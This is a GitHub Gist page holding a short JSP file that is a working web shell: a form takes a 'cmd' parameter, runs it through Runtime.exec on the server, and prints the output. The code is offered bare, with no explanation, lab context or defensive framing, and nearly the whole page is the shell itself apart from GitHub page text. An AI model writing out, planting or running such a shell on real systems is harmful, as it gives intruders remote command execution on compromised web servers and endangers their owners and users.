Created
May 26, 2017 15:13
-
-
Save prachauthit/80f34c40839da524c1f38af35ec29dae to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<FORM METHOD=GET ACTION='index.jsp'> | |
<INPUT name='cmd' type=text> | |
<INPUT type=submit value='Run'> | |
</FORM> | |
<%@ page import="java.io.*" %> | |
<% | |
String cmd = request.getParameter("cmd"); | |
String output = ""; | |
if(cmd != null) { | |
String s = null; | |
try { | |
Process p = Runtime.getRuntime().exec(cmd,null,null); | |
BufferedReader sI = new BufferedReader(new | |
InputStreamReader(p.getInputStream())); | |
while((s = sI.readLine()) != null) { output += s+"</br>"; } | |
} catch(IOException e) { e.printStackTrace(); } | |
} | |
%> | |
<pre><%=output %></pre> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment